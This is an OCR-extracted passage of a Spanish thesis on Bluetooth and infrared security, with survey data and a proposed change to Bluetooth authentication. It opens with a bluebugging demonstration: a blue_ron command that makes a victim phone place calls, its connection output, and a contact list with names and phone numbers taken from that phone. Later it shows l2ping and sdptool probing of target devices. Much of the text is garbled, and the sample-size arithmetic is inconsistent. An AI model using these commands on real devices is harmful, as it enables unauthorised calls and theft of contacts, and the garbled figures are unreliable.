Shyam, +919312900473

Enter command:

Figura 83: Listado de numeros telefonicos mediante hackeo blue_ron.

3.7.1 Llamadas mediante numeros de la agenda.
@ Para realizar llamadas mediante codigo de consola, hacer uso del siguiente
comando.
& /blue_ron —d (ntmero al que se desea llamar) —b (Mac del dispositivo victima) — ¢

(canal).

Sylvia, +919953879445

Neema, 00255762893089

Shyam, +9193129600473

Enter command:
./blue ron -d 9818303531 -b 00:1B:33:05:69:9D -c ll

Figura 84: Utilizando Blue_ron para realizar llamadas.

& Esperar unos segundos mientras la conexion se realiza mientras tanto saldra una

ventana de confirmacion de espera como la siguiente:
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Attemptlj@ rfcomm Dial on 00:0F:86:A0:24:67

Figura 85: Confirmacion de espera de llamada.
& Finalmente una ventana de confirmacion de Ilamada aparece con datos de que dicha
Ilamada esta en proceso.

Seéssion Edit View Bookmarks Settings Help

tcomm Diol on 00:6F.80
D1a' 9818393513 0D:8F:B6:AD. 2467

[~ CONNECTED -]
— connectea.sn

conected, sh: Ling L1 'MDingh: Ccomnedd rot Fowed
oeected o0 SOLATOREIL 00T rfcomm Jdev/rfcomed 0020 05 H0: 24267

Figura 86: Resultado de conexion de llamada.
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CAPITULO 4
METODOLOGIA
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4.1 TIPO DE ESTUDIO.

La naturaleza que abarca el tipo de investigacion es experimental, con el fin de proponer
una solucién para la optimizacién de las fragilidades de las rede WPAN, basadas en las

tecnologias Bluetooth e infrarrojo.

4.2.- POBLACION Y MUESTRA.
4.2 POBLACION.

La investigacion de procesos de seguridad con tecnologia Bluetooth e infrarrojo, se
aplicard en la escuela de Ingenieria en Sistemas y Computacién de la Facultad de
Ingenieria tomando en consideracién la poblacion estudiantil que utiliza computadoras
con tecnologia inaldmbrica que alcanzan un total de 120 estudiantes pertenecientes al
periodo académico 2010-2011.

4.2.2 MUESTRA.
Para esta muestra se aplicara una encuesta a los estudiantes de la escuela de sistemas de

la UNACH, cuyo principal motivo es saber la cantidad de estudiantes que tienen y

utilizan su celular con tecnologia inaldmbrica.

N z%pq
rZ(N—1)+z2pq

Tamafo Muestra=

Donde:

N: Tamafo de la poblacidn, nimero de total de historias,

z: Valor de z, 1.96 para 0=0.05 y 2.58 para a=0.01.

p: Prevalecia esperada del parametro a evaluar. En Caso de desconocerse aplicar la opcion
mas desfavorable (p = 0.5), que hace mayor el tamafio de la muestra.

q:1-p

i Error que se prevé cometer

120 = (1.96)2(0.5)(0.5)

(0.1)2(200 — 1) + (1.96)2(0.5)(0.5)
120 * (3.84)(0.25)

"= 0.01)(199) + (3.84)(0.25)
1152
97,99

n

n=1
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4.3.- OPERACIONALIZACION DE VARIABLES.

Las variables que se muestran a continuacion, son los que se consideraran para la

realizacion del Proyecto.

Definicion
Variable Tipo Conceptual Dimensiones Indicadores
AAronia 6060 software
Tipo de Tecnologia de  acceso tipo demo que analiza
tecnologia denend inalambrico, en un &rea de seffales de espectro como;
redes WPAN pendiente 10 ma la redonda & Tecnologia Bluetooth & Clase.
@ Tecnologia Infrarrojo @ Potencia.
& Rango.
Bluedivaing,  programa
Seguridades Mecanismos de seguridad inmerso en  Backtrack,
en la Devend utilizados  en ambas que detecta
tecnologias pendiente. tecnologias para & Protocolos. vulnerabilidades en los
Bluetooth e salvaguardar los datos & Niveles de seguridad protocolos:
Infrarrojo establecidos. @ L2cap
& Rfcomm
Usando el Comando
Dispositivos  conectados I2ping (MAC, victima)
Usuarios Dependiente dentro delas redes WPAN & Impresoras dentro de Backtrack se
@ Celulares. realizara:
& Portatiles. @ Medicion de
& Otros. potencia.

@ Envio de paquetes.

Tabla 8: Operacionalizacion de variables.
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4.4.- PROCEDIMIENTOS.
4.4.1 Técnicas e instrumentos de recoleccion de datos.

Se usara ciertas técnicas para la recoleccion de informacion como las que se

detalla a continuacion:

& Recoleccion: para la recoleccion de datos se realizaron las siguientes
actividades para la elaboracién del trabajo de investigacion.
v Encuestas, a los estudiantes de la UNACH, para conocer las actividades
realizadas mediante estas redes y la utilizacion de las mismas.
v" Analisis comparativo entre estas dos tecnologias, asi como de la
informacion bibliogréafica.
& Simulaciones, que permitan medir los datos los datos enviados a través de
una red Bluetooth e Infrarrojo. Para esto se utilizara herramientas de medicion
y un simulador
v Backtrack 5 libe DVD, este software especializado en auditoria jireles
pero con recursos de mucho méas avanzados que los similares existentes
para este propdsito.
v" AAronia 6060, software tipo demo que detecta el comportamiento de
las ondas de frecuencia.
v' Gold Wave (editor de audio digital con osciloscopios en tiempo real

personalizable).

4.5.- PROCESAMIENTO Y ANALISIS.

Para la demostracion préactica de las vulnerabilidades de la seguridad existentes, en las
redes WPAN’s, aplicadas a las tecnologias Bluetooth e infrarrojo, se utilizé Windows XP,
Backtrack version 5 para realizar los respectivos ataques contra estas tecnologias,
demostrando la vulnerabilidad y la falta de robustez en los métodos de seguridad
empleados en las mismas.

Esto proceso se llevara a cabo con los estudiantes de la escuela de Ingenieria en sistemas de

la Unach (Primer a quinto afio), que hagan uso de las tecnologias antes mencionadas,
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posteriormente dentro del lapso de una semana realizar las pruebas pertinentes, mediante
estas fallas se procederd a realizar el respectivo andlisis de las fallas encontradas en los
mecanismos de seguridad utilizados por estas tecnologias, con la finalidad de plantear una
propuesta de solucion en general en los mecanismos de seguridades utilizados por ambas
tecnologias.

4.5.1 Medicion de los Procedimientos de dispositivos Bluetooth e Infrarrojo.

Para realizar este procedimiento tomamos como referencia de medicion los programas
Backtrack 5, y Bluesolei que mediante lineas de codigo se pudo tomar las caracteristicas de
la comunicacion entre dispositivos Bluetooth.

45.1.1 Caracteristicas escaneadas mediante Bluesolei.

Mediante este programa de puedo detectar los dispositivos conectados en una red PAN
Dentro de un alcance y no necesariamente alineados mediante la utilizacion de este
software se localizaron 2 dispositivos a nuestro alcance el cual tomamos los siguientes

datos.

Figura 87: Dispositivos Bluetooth rastreados por Bluesolei.

Mediante el uso de comandos Backtrack se pudieron encontrar las siguientes
caracteristicas.
hcitool ing hci0, encontramos dispositivos Bluetooth cuyas caracteristicas son las que se

muestran a continuacion en el siguiente grafico.
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Figura 88: Detectando dispositivos Bluetooth.

Mediante la ejecucion del comando 12ping MAC del dispositivo Bluetooth, podremos ver
las caracteristicas de posibles ataques a nuestro dispositivo victima.

:/etc/bluetooths sdptool browse 00:1F:7E . D¢

Browsing 00:1F:7E:DE:29:17 ...
Service RecHandle: Oxb
Service Class 1D List:

"SOP Server* (0x1000)
Protocol Descriptor List:

“L2CAP" (8x0100)

“SDP* (Gx0001)
Profile Descriptor List:

“SDP Server"” (6x1000)

Figura 89: Caracteristicas encontradas.

En este proceso se encontraron dispositivos con cobertura de clase 1 y 2 mismos que se

detallara a continuacion.
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4.5.1.2 Tipos de Cobertura.

4.1.2.1 Clase 1: el dispositivo tiene mayor potencia de transmision, es decir que permite
que la potencia llegue con mayor intensidad al dispositivo de clase 2
4.1.2.2 Clase 2 el dispositivo es bajo en la potencia de transmision.
4.1.2.3 Clase 3: su potencia de transmision es débil y con poca intensidad e interferencia.
v Andlisis de rango de potencia en base a usuarios conectados.

Clase Potencia Maxima | Potencia Méaxima Rango
Permitida (mW) Permitida (dBm) | Aproximado

Clase 1 100 mW 20 dBm 100 m
Clase 2 2.25 mW 4 dBm 10 m
Clase 2 1.35 mW 3dBm 5m
Clase 1 80 mw 15dBm 77m
Clase 1 68 mW 10 dBm 55m
Clase 3 1 mw 0dBm 1m

Tabla 9: Potencia en base a usuarios conectados.
La potencia de los dispositivos conectados baja, es decir, la mayor potencia de transmision
del dispositivo de clase 1 permite que la sefial llegue con energia suficiente hasta el de clase
2.

v" Andlisis de ancho de banda.

Para este analisis nuevamente se utilizé lineas de comando en Backtrack cuyo propdsito es
averiguar las versiones de Bluetooth que vienen en los dispositivos de comunicacion y
otros.

Con el comando I12ping MAC del dispositivo averiguamos la version de Bluetooth instalada
en el dispositivo en nuestro caco quedaria de la siguiente forma.

L2ping (Mac de la primera victima)

I2ping (Mac de la segunda victima).
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Figura 90: Verificacion de la version de Bluetooth.
En base a este analisis se encontraron 2 tipos de versiones tanto del teléfono como de la

portétil siendo los resultados los que se muestran a continuacion.

Version Ancho de Banda

(Mbits/s)
Version 1.2 1 Mbits/s
Version 3.0 + H:S 24 Mbits/s
Version 2.0 + EDR 3 Mbits/s
Version 3.0 + H:S 20 Mbits/s
Version 2.0 + EDR 2 Mbits/s
Version 3.0 + H:S 18 Mbits/s

Tabla 10: Potencia en base a la version de Bluetooth.

4.6 Comportamiento de las sefiales emitidas por infrarrojo.
Para lograr identificar las diferentes formas de onda utilizadas para comandar aparatos por
medio de controles remoto Infrarrojos. Cuando no se dispone de un osciloscopio, se

utilizara el software de osciloscopio o editor de ondas, como: Gold Wave (editor de audio
digital con osciloscopios en tiempo real personalizable).
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Figura 91: Sefial de onda Infrarroja amplificada.

En la figura 91 permite ver detalladamente, amplificada, la forma de onda de la sefial, y
guardarla en el disco, para posteriores comparaciones con otros controles remotos, laptops,

etc. Permitir asi determinar su estado.

La idea es que debido a que la luz infrarroja, emitida por la primera laptop en cuestion,
puede activar un foto-diodo o foto-transistor, utilizando uno de ellos conectado en la
entrada de la otra laptop, se puede introducir la sefial (pulsos) emitida por el control remoto,
al PC, para ser visualizada con el osciloscopio virtual. La amplitud de la sefial se puede
controlar con el ajuste de volumen, de la entrada de micréfono del PC.
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4.6 RECURSOS

4.6.1 Recursos Humanos

Autor: Srta. Jimena Patricia Guaraca Pilco
Presidente del Tribunal Ing. Lorena Mollina

Director(a) de | Ing. Jorge Delgado.

Tesis:

Asesor: Ing. Javier Haro

Estudiantes Escuela Ingenieria en sistemas

Tabla 11: Recursos Humanos
4.6.2 Recursos Fisicos
& Equipo

v" Portétil-caracteristicas.

Processador: Intel(R) Core (tm) i52410M CPU 2,30
GHZ

Memoria RAM: 4,00 GB (1,00 GB utilizable)

Tipo de sistema: Sistema Operativo de 32 bits

Disco Duro: 500 GB

Tabla 12: caracteristicas del computador.
& Suministros
v 2 millar de papel bond atlas, tamafio A4.
v" 2 cartuchos de color negros para impresoraHP PSC 1410 Al-in-une.
v" 2 cartuchos de colores para impresoraHP PSC 1410 Al-in-une.
v 5CD’s
v" 1 memory flash.
& Software

v" Los Sistemas Operativos: Para el rastreo de redes WPAN se utiliz6 AAronia
6060, Windows 7, Processadores de texto: Microsoft Office 2007.

v Creator de Imagines: Paint, Color Schemer Studio, Fhoto Scape.

Pagina 154



v Live DVD Backtrack 5.
& Servicios

v Internet.

v Impresiones.
v Fotocopias
v

teléfonos.

4.6.3 Recursos Financieros.

Tabla 13: Recursos Financieros

NOMINACION CANTIDAD PRECIO U. SUBTOTAL TOTAL
Materiales

Utiles de Oficina 10$ 0.50$ 1,00$
Hojas de Papel Bond 4000% 0,01% 4,00$
Cartuchos de Tinta 3,00$ 29,00$ 87,00%
Copias 2500% 0.02$ 50,00$

Bibliografia 440,00%
Internet 400% 0.80% 240,00$

SUMA 600,00$

Imprevisto ‘ ‘ 60,00%

TOTAL= | 660,00$

4.6.4 Financiamiento:

RUBRO RECURSO PRESUPUESTO | DONACIONES 0
PROVENIENTE | INSTITUCIONAL | COLABORACIONES

TOTAL

700 700 0 0 $600

TOTAL 700 0 0 $600

IMPREVISTOS $60

SUMA= $660

Tabla 14: Financiamiento
Los recursos de financiamiento corren a cuenta de la proponente de este proyecto en su
totalidad.
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CAPITULOS5

RESULTADOS.
Y

DISCUSION.
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5 RESULTADOS.

En base al objetivo general que es “Realizar un analisis comparativo de las
vulnerabilidades en las redes de éarea personal (WPAN) aplicado a las tecnologias

Bluetooth e Infrarrojo, propuesta de solucion para minimizar estas vulnerabilidades.
Se llegd a los siguientes resultados:
5.1 Calidad de Servicios.

& La investigacion se fundamenté en las encuestas realizadas a los estudiantes de la
facultad de ingenieria escuela de sistemas (primer a quinto afio) de la Unach.

@ Para poder realizar el analisis de medicion en base a potencia bluetooth, se utiliz6
AAronia 6060 software tipo demo que permite simular las sefiales detectadas en un

analizador de espectro, arrojando los siguientes resultados.
Los parametros medidos son los siguientes:
v’ Potencia: pudo realizar mediante el escaneo de cada dispositivo, que la potencia
dependia de la clase y el rango aproximado del dispositivo entre mas cerca mayor
potencia el siguiente grafico demuestra el comportamiento de la misma.

5.2 Potencia medida en dBm en el Rango de 850-1900 MHz.

Dentro de este rango se encontro sefiales emitidas por celulares.
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Figura 91: Medida de la potencia de un celular.

En esta grafica se muestra la sefial emitida por el celular en base a la sefial de la

potencia, misma que indica en los picos mas altos un incremento brusco de

potencia.

Clase

Potencia (mW)

Rango
(m)

Clase 1

100 mw

100 m

Clase 2

2.25 mW

10 m

Clase 2

1.35 mW

5m

Clase 1

80 mW

77 m

Clase 1

68 mW

55m

Clase 3

1 mW

1m

Tabla 15: Potencia medida de redes WPAN.
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5.3 Potencia medida en dBm.

Clase Potencia Rango
(dBm)
Clase 1 20 dBm 100 m
Clase 2 4 dBm 10 m
Clase 2 3dBm 5m
Clase 1 15 dBm 77m
Clase 1 10 dBm 55m
Clase 3 0dBm 1m

Tabla 16: Potencia en dBm.

@ dBm es la potencia de radio expresada en dB referida a ImW. Esta potencia de emision

es el resultado de sumar la potencia de salida de la tarjeta WIFI, con la ganancia de la

antena y teniendo en cuenta las pérdidas del cable y conectores.

Para convertir mW a dBm, hay que multiplicar por 10 el logaritmo de la potencia expresada

en mW. Por ejemplo, si la potencia méaxima son 100mW:

10 x log 100mW =20 dBm

En la siguiente figura se observa el comportamiento de la sefial del celular cuando mas de
dos usuarios utilizan mas potencia, podemos destacar que lo picos bajos establece que hubo

una gran demanda de uso de potencia, y debido a las interferencias su decaimiento es

notorio.
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Figura 92: Bajas de potencia debido al uso.
5.4 Potencia medida en dBm en 2.4ghz.
En este proceso se realiz6 un cambio de potencia para poder medir la frecuencia en los 2.4

GHz. Capturando sefiales de redes Wi-Fi que son las de color rojo y que cuentan con méas
intensidad, las lineas de otro color representan las sefiales emitidas por ondas bluetooth.
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Figura 93: Rango de potencia medido en la banda 2.4 Ghz

Para lograr una amplia resolucion de las sefiales de potencia emitidas por las ondas

bluetooth, Unicamente cambiamos la opcidn de antena escogemos -63,69.
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Figura 94: Rastreo de sefiales Bluetooth.
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Figura 95: Medicion de sefial bluetooth con intervalo de 2 dBm.

Al igual que en la anterior medicion se observa un decaimiento e incrementacion ya que se

ha dividido a la sefial de potencia en UTM, para ampliar un la sefial captada.

5.5 Cuadros estadisticos de las caracteristicas de las redes WPAN analizadas.

La potencia de cada uno de los dispositivos que se detectd en el software viene en
mediciones de dBm la misma transformada a MW, como se muestra en la siguiente tabla.

Potencia Rango
Clase (mw)
100 mwW 100 m
Clase 1
2.25 mW 10m
Clase 2
Clase 2 1.35 mW 5m
Clase 1 80 mw 77m
Clase 1 68 mwW 55m
Clase 3 0dBm 1m

Tabla 17: Lista de potencia de las redes WPAN.
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v' Andlisis de las ondas emitidas por los dispositivos que utilizan tecnologia
Infrarrojo.

Analisis medidos a través de las longitudes de Onda.

[ File Edit view Extras ?
= e 2l » m 1 @
= | IR =

Profile Results
—CUSTOM — =
Range (MHz) _38 - 1 4
Start 552.000
0.916940 GHz
Stop S35:000 Antenna +0.00 Cable +0.00
Span [a3000 || Units
siTEm = 3814 dBm
Center " 68.85 dBpV
~Sweep— _|| © 8248 mv/m
Sampletime [1000ms > || 218.3 pasm
ST | C e
I~ PEF T Pulsemode oes
I Faster Sweep

98,32 dbu//m
I Hold Maximum
Bandwith oSS :

I Marker accumulate
Resolution] 3 MHz L=

_| [ Level

|| meference i j— |
Dynamic 86 j— |
Trace -t

B~ Sweepl Shadoi|| Noise 120 =]
I~ aval20 HoR|| 4¥——
Bl Maxhold  CLA|| compression |0 =]
—

I Trace History
Adiust I Autom

Marker
No.

E— |
Minimum -80 _,;'
I Manual

Ready

Figura 96: onda emitida por un dispositivo con Infrarrojo.
Las ondas emitidas por dispositivos que utilizan tecnologia por Infrarrojo mostro el

siguiente comportamiento, de donde se obtuvieron los siguientes datos.

Tecnologia Intervalo de longitud de Onda

Entre 7,8 * 102 nanémetros y 10°
Infrarrojo

Tabla 18: Medicion de longitud.

El mismo comportamiento de la longitud de onda visto en forma emitida de radiacion de
luz misma que no se puede ver a simple vista se capta de la siguiente manera, con 0s

mismos datos anteriores descritos en la tabla
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5.6 Cuadros Estadisticos de las Encuestas realizadas en la UNACH escuela de

Figura 98: Onda le luz emitida por infrarrojo.

ingenieria en sistemas (1° a 5° afio).

Esta encuesta tuvo por objetivo, conocer las actividades realizadas por los estudiantes

mediante la utilizacion de las redes WPAN, aplicados en la escuela de ingenieria en

sistemas de

la UNACH.

N° de
Estudiantes

Muestra

Total

Muestra

120

5

5
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1.- ¢Posee usted algun dispositivo con tecnologia bluetooth o Infrarrojo?
Si 3
No 2

Figura 96: Porcentaje de alumnos que poseen equipos con tecnologia bluetooth.

La gran mayoria de estudiantes posee un equipo portatil, por lo menos uno o dos equipos

con tecnologia Bluetooth.

2.- ¢ Cudl de las dos tecnologias utiliza mas usted, Bluetooth o Infrarrojo?

Bluetooth 4
Infrarrojo 1

M Bluetooth

M Infrarrojo

Figura 97: Utilizacion de tecnologia bluetooth.
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De esta manera se demuestra que los alumnos no Unicamente hacen uso de teléfonos sino

también lo hace mediante otros dispositivos tales como PDA’s, celulares, portatiles etc.

3.- ¢ Cuales son los dispositivos que con mas frecuencia utiliza para intercambiar datos

mediante tecnologias WPAN (Bluetooth, Infrarrojo)?

Laptop’s 22
Teléfonos celulares 28
PDA’s 10
Otros 5

B Musica
M Texto
= Otros

M imagenes

Figura 98: Utilizacion de intercambio de informacion.

Estos datos reflejan que los estudiantes también utilizan otros dispositivos, diferentes a

celulares, como laptop’s, PDA’s etc.

4.- ¢ Qué tipo de datos envia a traveés de estas tecnologias?

Videos 17
Musica 10
Texto 11
Otros 13
imagenes 14
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H Videos
B Musica
© Texto
B Otros

I imdagenes

Figura 99: Tipos de descargas.

Este parametro esta indicando que la tecnologia Bluetooth es una de las méas usadas siendo
eficiente en el envio y recepcion de la informacion.

El resultado total de las encuestas aplicadas a los alumnos de primer a quinto afio de la
Unach, pertenecientes a la escuela de ingenieria en sistemas, es que la tecnologia més
popular y usada por los jovenes es bluetooth, ya que es mas eficiente en transferencias de

archivos con respecto a Infrarrojo.

5.6 Ventajas y Desventajas encontradas en el transcurso de la investigacion.

Durante el desarrollo de la investigacion y de la aplicacion de las encuestas se observo
algunas ventajas como desventajas al utilizar las tecnologias Bluetooth e infrarrojo,

mismas que describiremos a continuacion
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BLUETOOTH

Ventajas Desventajas

v" Bluetooth es la tecnologia mas facil | v En modo descubierto es demasiado
vulnerable a ataques ya que
cualquier usuario puede establecer
conexion y realizar ataques.

esta tecnologia, permitiendo la |, | o5 mecanismos de seguridad son

de utilizar, ya que en casi todos los

dispositivos portatiles esta presente

comunicacion con celulares, PDA’s muy débiles,
etc. v’ existen congestion de red al
emparejar mas de 3 dispositivos a

‘/ Ve s -y
Es la tecnologia mas utilizada por la vez.
los estudiantes, en lo que se refiere

a envio y recepcion de datos.

v Bluetooth es un  estandar
compatible con casi cualquier
tecnologia, ya que es adaptable por
el uso de radio frecuencia que

utiliza.
v’ Su sefial es capaz de atravesar

paredes, 'y  proveer  buena

comunicacion.

Tabla 19: Ventajas y desventajas de la tecnologia Bluetooth.
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INFRARROJO

Ventajas Desventajas

v" La tecnologia por Infrarrojo IrDA | v' Su alcance es corto ya que la sefial
de linea y su distancia maxima es de

soporta 4 Mbps, con 16 Mbps de
1 metro.

transmision en desarrollo. L
v La comunicacién es punto a punto,

v' La seguridad de Infrarrojo es es decir de uno a uno.
menos accesible ya que se necesita

que el atacante se encuentre a no

menos de 100 metros de distancia.

Tabla 20: Ventajas y desventajas de la tecnologia Infrarrojo.
6 DISCUSION.
Al cumplir con el objetivo planteado que es, “anélisis comparativo de las vulnerabilidades
en las redes de area personal (WPAN) aplicado a las tecnologias Bluetoothe e infrarrojo,
propuesta de solucion”, han dado los siguientes resultados.
Para realizar esta discusion se baso en los siguientes aspectos:
6.1 Caracteristicas en base al nimero de redes.
& Resultados obtenidos de la medicion de las rede WPAN, basados en los gréafico de las
mediciones en el software AAronia 6060, detectadas en un rango de Rango de 850-

1900 MHz

Numero total de dispositivos conectados.
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N° de PWR Amplitud de
dispositivos | (dBm) Banda MHz
maxima
alcanzada
6 60 dBm 850-1900 MHz

Tabla 21: Frecuencia de transmision.

6.2 Analisis de los mecanismos de seguridad.

& En los mecanismos de seguridad utilizados.

Numero de Tipo de
usuarios seguridad
Celulares 4 Autenticacion de
pin
Computadoras 2 Contrasefia de
usuario

Tabla 22: Mecanismos de seguridad.

& Para el proceso de autenticacion entre computadora y teléfono el proceso de

autenticacion es pedir la clave pin del celular al que se desea acceder.
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CAPITULO 6
PROPUESTA
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6.1 Titulo de la propuesta.

Agregar un campo de identificacion para usuario en los elementos de seguridad, en el
mecanismo de autentificacion mediante la utilizacion del algoritmo E1.

6.2 OBJETIVOS.

6.1.1 Objetivo General.

& Proponer una solucién a las falencias encontradas en los métodos de seguridad
utilizados por los fabricantes de Bluetooth e Infrarrojo, a través de la demostracion
de un ataque a estas tecnologias.

6.1.2 Objetivos Especificos.

& Dar a conocer las vulnerabilidades encontradas en las tecnologias Bluetooth e
infrarrojo.

@ Demostrar la cantidad de ataques que se pueden recibir por medio de estas

tecnologias, si no se utilizan con su debida precaucion.

6.3 Fundamentacion Cientifico Tebrica.

Como bien se conoce los elementos de seguridad utilizados por Bluetooth son dos, los
mismos que realizan cierto proceso de seguridad para poder realizar intercambio de datos.

Dentro de la seguridad a nivel de banda base se utiliza técnica de salto de frecuencia que
consiste en dividir la banda en 79 canales, donde durante la conexién de un dispositivo el
maestro genera una tabla pseudoaleatoria que contenga el patron de los saltos de frecuencia,

una vez generada esta tabla se utilizara para las posteriores conexiones.

Propuesta: en este caso de seguridad el fabricante, unicamente se basa en la seguridad
mediante una tabla en el momento del emparejamiento dejando a un lado la verificacion de
los usuarios, que de igual manera que se genera una tabla de saltos se lo deberia también
hacer con una tabla de autenticacion de usuario, que contenga un pin Unico por el usuario y
de misma manera un registro de usuarios a los que se desean transmitir, si ese usuario

demandante esta registrado se envia caso contario se desecha.
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CAMPO ESTADO CONTENIDO

PIN_USUAR Obligatorio. ID Unico creado por el usuario

DIR_USUAR1 Obligatorio. Nombre del dispositivo de usuario al

que se va a transmitir.

DIR_USUAR2 Obligatorio. Nombre del dispositivo de usuario al

que se va a transmitir

DIR_USUARN Obligatorio Nombre del dispositivo de usuario

al que se va a transmitir

Tabla 23: Tabla de identificacion de usuario.

En este caso afiadir este mecanismo de seguridad a nivel de banda base generaria un
cambio en la configuracion del micro chip Bluetooth y la programacion del mismo,
incrementando su costo.

En la seguridad a Nivel de Enlace utiliza 3 mecanismos adicionales los dos primeros son
los que se deben implementar y el tercero es opcional, lo que tienen en comun estos

mecanismos es que utilizan algoritmos en el momento de emparejamiento.

Autenticacion: este mecanismo utiliza los siguientes datos para su conexion
& nlmero aleatorio de 128: (AU_RAND,)
& Algoritmo: E1.
@ (SRES): valor es enviado al dispositivo verificador para ser comparado con el valor
calculado por este dispositivo ( SRES").

Propuesta: para este mecanismo se deberia afiadir los campos.

& PIN_USUAR: ID dnico de identificacién creado por el usuario.
@ DIR_USUAR: direccion exacta del dispositivo demandante.

Para realizar la conexion al demandante el usuario deberia primero ingresar su propio ID, y luego
verificar si tiene o no registrado al demandante, caso contrario se procede a su respectivo registro,

luego de esto hacer su comparacién mediante el algoritmo E1.
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Verficador (Unsdad 4) Demandante (Umadad B)

AURANDy —— —— AU RANDs
— ) +— :
BD_ADDRs | AU_RAND, | ED_ADDR
N 5 A g
Clave de ealace Clave de ealace
PIN USUAR. — q_l PIN_USUAR
DIR USUARI —h—I -—#—— DIR USUARI
ACDy ¥ rACD
e SRES SRES
SRES

Figura 100: Algoritmo de autenticacion de la propuesta.

Una vez realizado esta autenticacion el campo SRES'E, utiliza la direccién del dispositivo
demandante (BAD_ADDRjy), ademas una clave de enlace determinada el AU_RAND,. E;
También genera el parametro ACO (Autenticate Ciphering Offset, Compensacion Cifrada
Autenticada) mismo que es utilizado en el mecanismo de encriptacion. EI BD_ADDR
utilizado en una direccidn de 48 bits es Unico para cada dispositivo las claves de enlace.

Estas claves generadas pueden ser temporales o semi temporales, estas claves son

generadas en el siguiente algoritmo.
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—~——| E21 E21 | E2 E2
DIR_USUAR __ /! =
| DIR_USUAR
KKy Ly kK, LK_K LK K,
| %
|

K Ki
Figura 101: Algoritmo de propuesta.

Luego de este proceso las claves Ki,ir ¥ Kmaster S€ Crean mediante el algoritmo E,,

utilizando un numero aleatorio y un PIN comun para cada dispositivo, en este proceso

también se puede afiadir los campos

Master Broadcasted Slave
(A) messages B)
| Rancomize 128bit |
IN_RAND |
N_RAN
3 |“_:;no
DIR_USUAR DIR_USUAR

NI
Nid

HOay ce

Hoav C8

| Z| =
'2 =
PIN_USUAR \ | z / FoLHEuAR
. I /
\ E22 I E22
|
|
|
1

ANV Y

BN
Ty

Figura 102: Algoritmo E22 de propuesta.
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Cabe especificar que EI RAND es un namero aleatorio de 128 bits generado por el
software, generado por el proceso de encriptacion.

PIN es un numero generado por el usuario que puede ser de uno hasta 16 bytes
dependiendo del nimero de seguridad que se desea agregarle al sistema.

Ademas se la ha afiadido los campos:

@ PIN_USUAR: ID unico de identificacion creado por el usuario.
@ DIR_USUAR: direccién exacta del dispositivo demandante.

Como propuesta de seguridad.

Autorizacion: en esta parte se determina los derechos que tiene un dispositivo Bluetooth
con la finalidad de acceder a los servicios que ofrece el sistema mismo que funciona

mediante 3 niveles:

@ Un dispositivo de confianza mantiene una relacion de emparejamiento y dispone de
acceso sin restricciones a todos los servicios.

& Un dispositivo de confianza restringida mantiene una relacion de emparejamiento y
solo dispone de acceso restringido a uno o0 varios servicios, pero no a todos.

@ Un dispositivo no confiable es aquel que puede o no mantener una relacion de
emparejamiento pero que no es de confianza. No se permite el acceso a ningun
servicio.

En esta parte todo dispositivo Bluetooth dispone de una base de datos interna donde cuenta
con los siguientes campos que tiene el siguiente formato, a esto le afiadiremos los campos

propuestos.
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CAMPO ESTADO CONTENIDO
BD_ADDR. Obligatorio. Direccion MAC del Dispositivo.
Nivel de Confianza. Obligatorio. De Confianza/No de Confianza.
Clave de Enlace. Obligatorio. Clave de enlace K.

Nombre. Opcional. Nombre del Dispositivo (Cadena).

PIN_USUAR Obligatorio. ID Unico de identificacion creado por
el usuario

DIR_USUAR Obligatorio Direccion de la persona que desea
conectarse.

Tabla 24: Tabla autenticacion de usuario.

Cifrado de Datos: protege la informacion que se transmite en un enlace entre dispositivos
Bluetooth. Garantiza la confidencialidad del mansaje transmitido, de forma que si el
paquete es capturado por un usuario que no posea la clave de descifrado, el mensaje le
resultara ininteligible.

La implementacién de este método es opcional, para esto se necesita haber producido con
anterioridad una Autenticacion el maestro y el esclavo se deben poner de acuerdo si utilizar

o no cifrado de datos.

& Maestro y esclavo intercambian mensajes hasta alcanzar un acuerdo.
@ No siempre es posible llegar a un acuerdo sobre el tamafio de la clave.
@ En este caso se indica a las unidades Bluetooth que no se les permite comunicarse
utilizando cifrado en el enlace.
Tras esta negociacion comienza el proceso de cifrado utilizando los siguientes parametros.
El maestro genera una clave de cifrado Kc de 128 bits usando el algoritmo E3.
& Numero aleatorio de 128 bits.
@ Enlace K, generada durante el procedimiento de emparejamiento.
@ numero COF (Ciphering Offset) de 96 bits basado en el valor temporal ACO
(Authenticated Ciphering Offeset) calculando durante el procedimiento de

autenticacion.
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A mas de estos parametros la propuesta es de utilizar.
@ PIN_USUAR: ID Gnico de identificacion creado por el usuario.
@ DIR_USUAR: direccién exacta del dispositivo demandante.

Propuesta: para intercambiar mensajes o cualquier pardmetro bajo Bluetooth seria ideal
tener una opcion en el momento de emparejamiento de dispositivos que permita realizar

este paso obligatoriamente para proteccion de la seguridad de sus datos.

RAND, 128 bits X
E3

COF, 96 bits .

Fal

Link key .

i

- /
DIF. USUAR ff

PIN_USUAR Key. 128 bits

Figura 103: Algoritmo E3 de propuesta.

6.4 Recomendaciones de seguridad.

Para evitar posibles ataques a nuestra privacidad en teléfonos o cualquier dispositivo que
utilice Bluetooth se debe tomar en cuenta las siguientes recomendaciones, para evitar
plagios mientras los fabricantes implementen medidas mas fuertes en la seguridad de estas

tecnologias.

@ Active el dispositivo Bluetooth solo cuando sea necesario, caso contrario

desactivelo una vez que haya cumplido con su propdsito.

6.5 Descripcion de la Propuesta.

Mediante la investigacion del funcionamiento de las tecnologias Bluetooth e infrarrojo,

mecanismos de seguridad implementados en las mismas, a través de la recopilacion de
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informacidn tanto Online como bibliogréafica, se procedera a realizar la comparacién entre
estas dos tecnologias, para realizar una propuesta de solucion para las vulnerabilidades
encontradas en las mismas.

Para realizar esta investigacion se realizara una encuesta a los estudiantes de la escuela de
ingenieria en sistemas de la Unach. (Primer a quinto afio) cuyo propdsito es conocer cuél
de las dos tecnologias a investigar es la més utilizada y la més eficiente entre esta
comunidad de estudiantes de esta manera poder realizar la préctica para la demostracion de
las vulnerabilidades existentes en estas tecnologias.

Con la propuesta de afiadir un campo como la identificacion de usuario creado por el
mismo cuya longitud sea variable, permitira que en los elementos de seguridad tanto a nivel
de banda base como a nivel de enlace de datos, se corra el riesgo de que el precio de la
implementacién de Bluetooth se eleve un 20% mas del costo actual. Pero la ventaja de esto

es que para los hackers se les dificulte un poco mas los ataques.

6.6 Disefio Organizacional.

IEEE $02.20 UMTS, EDGE
(propuesta) (GSM)

IEEE 802.16 MAN ET5I HiperfAH &
WirelesshaH HIPERACCESS

IEEE 80215 PAN ETSI
B luetooth i f

Ctomste > Canten 2> e

Figura 104: Escala de las redes WPAN segun su alcance de comunicacion.
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6.7 Monitoreo y Evaluacion de la Propuesta.

